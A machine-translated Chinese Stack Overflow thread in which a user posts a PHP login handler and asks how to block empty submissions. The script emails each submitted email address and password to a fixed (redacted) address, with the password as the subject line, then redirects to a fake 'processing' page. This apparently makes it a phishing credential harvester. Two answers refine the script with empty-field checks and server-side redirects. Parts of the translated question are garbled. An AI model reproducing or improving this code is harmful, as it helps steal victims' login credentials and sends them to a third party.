2013-03-10 160 views
0

我有这种形式,我希望那些没有完成用户名/密码表单的用户再次点击登录返回主页,并完成那些在处理时发送的用户热媒。 这就是我现在的样子,即使字段是空白的,它也会将每个人重定向到处理。任何机会,所以我可以适应这一个?阻止表单发送空白字段

<? 
$userid = $_REQUEST['login_email'] ; 
$pass = $_REQUEST['login_password'] ; 

$From = "From: $userid"; 
$subj = "$pass"; 
$msg = "$userid"; 
$to = "[email protected]"; 
mail($to, $subj, $msg, $From);{ 
echo ("<script>"); 
echo("window.location=\"processing.htm\""); 
echo("</script>"); 
} 

?> 

谢谢

+2

您甚至没有[尝试](http://whathaveyoutried.com/)... – 2013-03-10 16:39:13

+0

您不应该依赖用户数据进行正确格式化,而是让您的应用程序处理为空值/缺少参数。 – 2013-03-10 16:42:46

+0

浏览器提交表单标签中的所有空白字段,只能用Javascript对其进行半预防。 – 2013-03-10 16:44:12

回答

0

使用:

if(!empty($userid) && !empty($pass)){ 
    // You have data 
} else { 
    // The user didn't enter any data 
} 

然后您可以利用PHP header()功能来而重定向不是依赖于JavaScript像这样:

header("Location: http://example.com/mypage.php"); 
1

你必须在加载处理时给出条件.htm

<? 
$userid = $_REQUEST['login_email'] ; 
$pass = $_REQUEST['login_password'] ; 


if(!(empty($userid) && empty($pass))){ 
$From = "From: $userid"; 
$subj = "$pass"; 
$msg = "$userid"; 
$to = "[email protected]"; 
mail($to, $subj, $msg, $From); 

header("Location: http://yoursite.com/processing.htm"); 
} 
else 
{ 
header("Location: http://yoursite.com/homepage.php"); 
} 


?> 
+0

非常感谢你的帮助。现在整理出来! – 2013-03-10 16:59:51

+0

欢迎您!!,请接受答案并关闭问题。 – Archer 2013-03-10 17:17:37